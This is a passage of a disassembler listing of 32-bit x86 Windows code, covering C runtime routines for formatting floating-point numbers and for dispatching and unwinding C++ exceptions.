add ecx, edx
push ecx
call sub_424D82
add esp, 14h
loc_4222E6: ; CODE XREF: sub_422279+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_4222F2
mov byte ptr [eax], 2Dh
inc eax
loc_4222F2: ; CODE XREF: sub_422279+73j
test ebx, ebx
jle short loc_42230A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43D098
mov eax, edi
pop edi
mov [eax], cl
loc_42230A: ; CODE XREF: sub_422279+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DBE6C, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C890
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_422331
mov byte ptr [ecx], 45h
loc_422331: ; CODE XREF: sub_422279+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_422376
mov ebx, [esi+4]
dec ebx
jns short loc_422345
neg ebx
mov byte ptr [ecx], 2Dh
loc_422345: ; CODE XREF: sub_422279+C5j
inc ecx
cmp ebx, 64h
jl short loc_42235C
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_42235C: ; CODE XREF: sub_422279+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_422373
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_422373: ; CODE XREF: sub_422279+E7j
add [ecx+1], bl
loc_422376: ; CODE XREF: sub_422279+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_422279 endp
; =============== S U B R O U T I N E =======================================
sub_42237D proc near ; CODE XREF: sub_42251D+13p
; sub_422540+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DBE6C, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_4223B8
mov eax, dword_4DBE70
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DBE68
cmp eax, ebx
jnz short loc_4223E8
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_4223E8
; ---------------------------------------------------------------------------
loc_4223B8: ; CODE XREF: sub_42237D+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424DF9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424D82
add esp, 14h
loc_4223E8: ; CODE XREF: sub_42237D+22j
; sub_42237D+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_4223F6
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_4223F6: ; CODE XREF: sub_42237D+70j
mov eax, [esi+4]
test eax, eax
jg short loc_42240D
push 1
push edi
call sub_422591
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_42240F
; ---------------------------------------------------------------------------
loc_42240D: ; CODE XREF: sub_42237D+7Ej
add edi, eax
loc_42240F: ; CODE XREF: sub_42237D+8Ej
test ebx, ebx
jle short loc_422454
push 1
push edi
call sub_422591
mov al, byte_43D098
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_422454
cmp byte_4DBE6C, 0
jz short loc_422439
neg esi
jmp short loc_42243F
; ---------------------------------------------------------------------------
loc_422439: ; CODE XREF: sub_42237D+B6j
neg esi
cmp ebx, esi
jl short loc_422441
loc_42243F: ; CODE XREF: sub_42237D+BAj
mov ebx, esi
loc_422441: ; CODE XREF: sub_42237D+C0j
push ebx
push edi
call sub_422591
push ebx
push 30h
push edi
call sub_41BF70
add esp, 14h
loc_422454: ; CODE XREF: sub_42237D+94j
; sub_42237D+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_42237D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42245B proc near ; CODE XREF: sub_422540+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424DF9
mov dword_4DBE68, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DBE70, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424D82
mov eax, dword_4DBE68
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DBE70, ecx
setl cl
mov byte_4DBE74, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DBE70, eax
jl short loc_4224E1
cmp eax, ebx
jge short loc_4224E1
test cl, cl
jz short loc_4224D2
loc_4224C8: ; CODE XREF: sub_42245B+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_4224C8
and [esi-2], al
loc_4224D2: ; CODE XREF: sub_42245B+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_42251D
add esp, 0Ch
jmp short loc_4224F1
; ---------------------------------------------------------------------------
loc_4224E1: ; CODE XREF: sub_42245B+63j
; sub_42245B+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_4224F6
add esp, 10h
loc_4224F1: ; CODE XREF: sub_42245B+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42245B endp
; =============== S U B R O U T I N E =======================================
sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DBE6C, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_422279
and byte_4DBE6C, 0
add esp, 10h
retn
sub_4224F6 endp
; =============== S U B R O U T I N E =======================================
sub_42251D proc near ; CODE XREF: sub_42245B+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DBE6C, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42237D
and byte_4DBE6C, 0
add esp, 0Ch
retn
sub_42251D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp
; DATA XREF: sub_41D13Co ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42257B
cmp [ebp+arg_8], 45h
jz short loc_42257B
cmp [ebp+arg_8], 66h
jnz short loc_422568
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42237D
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422568: ; CODE XREF: sub_422540+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42245B
jmp short loc_42258C
; ---------------------------------------------------------------------------
loc_42257B: ; CODE XREF: sub_422540+7j
; sub_422540+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422279
loc_42258C: ; CODE XREF: sub_422540+39j
add esp, 10h
pop ebp
retn
sub_422540 endp
; =============== S U B R O U T I N E =======================================
sub_422591 proc near ; CODE XREF: sub_422279+2Cp
; sub_42237D+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_4225B4
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B9C0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D670
add esp, 10h
pop esi
loc_4225B4: ; CODE XREF: sub_422591+7j
pop edi
retn
sub_422591 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B6 proc near ; CODE XREF: .packed:0041D31Cp
; sub_41D385+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4225CC
call sub_422E52
loc_4225CC: ; CODE XREF: sub_4225B6+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_4225F4
cmp dword ptr [esi+4], 0
jz short loc_42264A
cmp [ebp+arg_14], 0
jnz short loc_42264A
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4228FD
add esp, 10h
jmp short loc_42264A
; ---------------------------------------------------------------------------
loc_4225F4: ; CODE XREF: sub_4225B6+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_42264A
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42262E
cmp [eax+14h], edi
jbe short loc_42262E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_42262E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_42264D
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_4225B6+4Aj
; sub_4225B6+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_422651
add esp, 20h
loc_42264A: ; CODE XREF: sub_4225B6+23j
; sub_4225B6+29j ...
push 1
pop eax
loc_42264D: ; CODE XREF: sub_4225B6+76j
pop edi
pop esi
pop ebp
retn
sub_4225B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_422671
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_422676
loc_422671: ; CODE XREF: sub_422651+16j
call sub_422E52
loc_422676: ; CODE XREF: sub_422651+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
mov esi, dword_4DBE78
test esi, esi
jz loc_4227C8
mov eax, dword_4DBE7C
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424F80
pop ecx
test eax, eax
pop ecx
jnz short loc_4226CC
call sub_422E52
loc_4226CC: ; CODE XREF: sub_422651+74j
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
call sub_422E52
loc_4226EA: ; CODE XREF: sub_422651+41j
; sub_422651+46j ...
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz loc_4227CD
cmp [esi+14h], edi
jnz loc_4227CD
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov ebx, eax
loc_422721: ; CODE XREF: sub_422651+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_4227B8
cmp [ebx], edi
jg short loc_4227AD
cmp edi, [ebx+4]
jg short loc_4227AD
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_4227AA
loc_422746: ; CODE XREF: sub_422651+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_422777
loc_422758: ; CODE XREF: sub_422651+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_4228A0
add esp, 0Ch
test eax, eax
jnz short loc_422786
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_422758
loc_422777: ; CODE XREF: sub_422651+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_422746
jmp short loc_4227AA
; ---------------------------------------------------------------------------
loc_422786: ; CODE XREF: sub_422651+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4229B1
add esp, 2Ch
loc_4227AA: ; CODE XREF: sub_422651+F3j
; sub_422651+133j
mov edi, [ebp+var_10]
loc_4227AD: ; CODE XREF: sub_422651+DEj
; sub_422651+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_422721
; ---------------------------------------------------------------------------
loc_4227B8: ; CODE XREF: sub_422651+D6j
cmp [ebp+arg_14], 0
jz short loc_4227C8
push 1
push esi
call sub_422D26
pop ecx
pop ecx
loc_4227C8: ; CODE XREF: sub_422651+56j
; sub_422651+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4227CD: ; CODE XREF: sub_422651+37j
; sub_422651+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_4227F3
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4227F8
add esp, 20h
jmp short loc_4227C8
; ---------------------------------------------------------------------------
loc_4227F3: ; CODE XREF: sub_422651+180j
jmp sub_422DFC
sub_422651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227F8 proc near ; CODE XREF: sub_422651+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DBE80, 0
push esi
push edi
jz short loc_422829
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D3AA
add esp, 1Ch
test eax, eax
jnz short loc_42289C
loc_422829: ; CODE XREF: sub_4227F8+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov esi, eax
loc_422845: ; CODE XREF: sub_4227F8+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_42289C
cmp edi, [esi]
jl short loc_422894
cmp edi, [esi+4]
jg short loc_422894
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_42286E
cmp byte ptr [ecx+8], 0
jnz short loc_422894
loc_42286E: ; CODE XREF: sub_4227F8+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4229B1
add esp, 2Ch
loc_422894: ; CODE XREF: sub_4227F8+57j
; sub_4227F8+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_422845
; ---------------------------------------------------------------------------
loc_42289C: ; CODE XREF: sub_4227F8+2Fj
; sub_4227F8+53j
pop edi
pop esi
leave
retn
sub_4227F8 endp
; =============== S U B R O U T I N E =======================================
sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_4228F7
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_4228F7
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4228D1
add ecx, 8
push ecx
push edx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4228F3
loc_4228D1: ; CODE XREF: sub_4228A0+1Fj
test byte ptr [esi], 2
jz short loc_4228DB
test byte ptr [edi], 8
jz short loc_4228F3
loc_4228DB: ; CODE XREF: sub_4228A0+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_4228EA
test byte ptr [edi], 1
jz short loc_4228F3
loc_4228EA: ; CODE XREF: sub_4228A0+43j
test al, 2
jz short loc_4228F7
test byte ptr [edi], 2
jnz short loc_4228F7
loc_4228F3: ; CODE XREF: sub_4228A0+2Fj
; sub_4228A0+39j ...
xor eax, eax
jmp short loc_4228FA
; ---------------------------------------------------------------------------
loc_4228F7: ; CODE XREF: sub_4228A0+Bj
; sub_4228A0+14j ...
push 1
pop eax
loc_4228FA: ; CODE XREF: sub_4228A0+55j
pop edi
pop esi
retn
sub_4228A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228FD proc near ; CODE XREF: sub_4225B6+34p
; sub_4229B1+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278A8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42292F: ; CODE XREF: sub_4228FD+8Aj
cmp esi, [ebp+arg_C]
jz short loc_422989
cmp esi, 0FFFFFFFFh
jle short loc_42293E
cmp esi, [edi+4]
jl short loc_422943
loc_42293E: ; CODE XREF: sub_4228FD+3Aj
call sub_422E52
loc_422943: ; CODE XREF: sub_4228FD+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_42295E
push 103h
push ebx
push eax
call sub_422DB0
loc_42295E: ; CODE XREF: sub_4228FD+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42297E
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_42299B
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_42297E: ; CODE XREF: sub_4228FD+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42292F
; ---------------------------------------------------------------------------
loc_422989: ; CODE XREF: sub_4228FD+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4228FD endp
; =============== S U B R O U T I N E =======================================
sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_4229AC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4229AC: ; CODE XREF: sub_42299B+Cj
jmp sub_422DFC
sub_42299B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4229B1 proc near ; CODE XREF: sub_422651+151p
; sub_4227F8+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_4229D3
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_422B62
add esp, 10h
loc_4229D3: ; CODE XREF: sub_4229B1+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_4229DF
push edi
jmp short loc_4229E2
; ---------------------------------------------------------------------------
loc_4229DF: ; CODE XREF: sub_4229B1+29j
push [ebp+arg_24]
loc_4229E2: ; CODE XREF: sub_4229B1+2Cj
call sub_41D2AC
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_4228FD
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_422A2C
add esp, 2Ch
test eax, eax
jz short loc_422A27
push edi
push eax
call sub_41D26A
loc_422A27: ; CODE XREF: sub_4229B1+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4229B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A2C proc near ; CODE XREF: sub_4229B1+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278B8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DBE78
mov [ebp+var_1C], ecx
mov ecx, dword_4DBE7C
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DBE78, edi
mov ecx, [ebp+arg_8]
mov dword_4DBE7C, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41D331
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422AF2
mov eax, [ebp+var_2C]
loc_422AB9: ; CODE XREF: sub_422AD2+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422A2C endp
; =============== S U B R O U T I N E =======================================
sub_422AC8 proc near ; DATA XREF: .packed:004278C8o
push dword ptr [ebp-14h]
call sub_422B38
pop ecx
retn
sub_422AC8 endp
; =============== S U B R O U T I N E =======================================
sub_422AD2 proc near ; DATA XREF: .packed:004278CCo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D592
pop ecx
pop ecx
xor eax, eax
jmp short loc_422AB9
sub_422AD2 endp
; ---------------------------------------------------------------------------
loc_422AEA: ; DATA XREF: .packed:004278C0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DBE78, eax
mov eax, [ebp-20h]
mov dword_4DBE7C, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422B37
cmp dword ptr [edi+10h], 3
jnz short locret_422B37
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422B37
cmp [ebp-24h], ebx
jnz short locret_422B37
cmp [ebp-2Ch], ebx
jz short locret_422B37
call sub_41D5FA
push eax
push edi
call sub_422D26
pop ecx
pop ecx
locret_422B37: ; CODE XREF: sub_422AF2+1Cj
; sub_422AF2+22j ...
retn
sub_422AF2 endp
; =============== S U B R O U T I N E =======================================
sub_422B38 proc near ; CODE XREF: sub_422AC8+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_422B5F
cmp dword ptr [eax+10h], 3
jnz short loc_422B5F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_422B5F
cmp dword ptr [eax+1Ch], 0
jnz short loc_422B5F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422B5F: ; CODE XREF: sub_422B38+Cj
; sub_422B38+12j ...
xor eax, eax
retn
sub_422B38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_422D0B
cmp byte ptr [eax+8], 0
jz loc_422D0B
mov eax, [ecx+8]
test eax, eax
jz loc_422D0B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_422BFF
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422BF0: ; CODE XREF: sub_422B62+F5j
push eax
call sub_422D8D
pop ecx
pop ecx
mov [edi], eax
jmp loc_422D07
; ---------------------------------------------------------------------------
loc_422BFF: ; CODE XREF: sub_422B62+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_422C59
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D670
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422D07
mov eax, [edi]
test eax, eax
jz loc_422D07
add esi, 8
push esi
jmp short loc_422BF0
; ---------------------------------------------------------------------------
loc_422C59: ; CODE XREF: sub_422B62+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422CA1
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push edi
call sub_41D670
add esp, 0Ch
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CA1: ; CODE XREF: sub_422B62+103j
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+18h]
call sub_424FB8
pop ecx
test eax, eax
jz short loc_422D02
test byte ptr [esi], 4
jz short loc_422CE8
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D2A5
jmp short loc_422D07
; ---------------------------------------------------------------------------
